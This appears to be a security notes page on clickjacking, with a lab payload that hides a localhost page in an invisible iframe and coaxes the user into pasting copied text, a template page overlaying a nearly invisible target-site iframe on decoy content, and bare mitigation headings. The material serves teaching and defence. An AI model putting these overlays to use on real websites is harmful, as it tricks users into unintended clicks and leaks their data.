Clickjacking
Clickjacking
<script>alert("1337")</script>
<iframe style="opacity: 0;" width="100%" src="<http://localhost/labs/cors/info.php>"></iframe>
<p id="string" style="margin-top: -30px;">Click on me and fo this,first Ctrl+a,second Ctrl+Cm finaly Ctrl+V on textarea</p>
<textarea oninput="alert('I Hacked You '+this.value)" id="data" style="width: 300px;height: 250px;"></textarea>Real-World Examples
Constructing a Basic Clickjacking Attack
<html>
<head>
<style>
/* Styling for the target website iframe */
#target_website {
position: relative; /* Allows positioning relative to its normal position */
width: 128px; /* Set the width to match the clickable area */
height: 128px; /* Set the height to match the clickable area */
opacity: 0.00001; /* Make the iframe nearly invisible */
z-index: 2; /* Ensure the iframe is on top of the decoy content */
}
/* Styling for the decoy website */
#decoy_website {
position: absolute; /* Position it absolutely in the browser window */
width: 300px; /* Set the decoy width */
height: 400px; /* Set the decoy height */
z-index: 1; /* Place the decoy content behind the iframe */
}
</style>
</head>
<body>
<div id="decoy_website">
<!-- Decoy web content here, e.g., "Click to win!" button -->
</div>
<iframe id="target_website" src="<https://vulnerable-website.com>">
</iframe>
</body>Tools
Mitigation
1. Use the X-Frame-Options Header
X-Frame-Options Header2. Use Content Security Policy (CSP)
3. Frame Busting Scripts (Deprecated Approach)
Last updated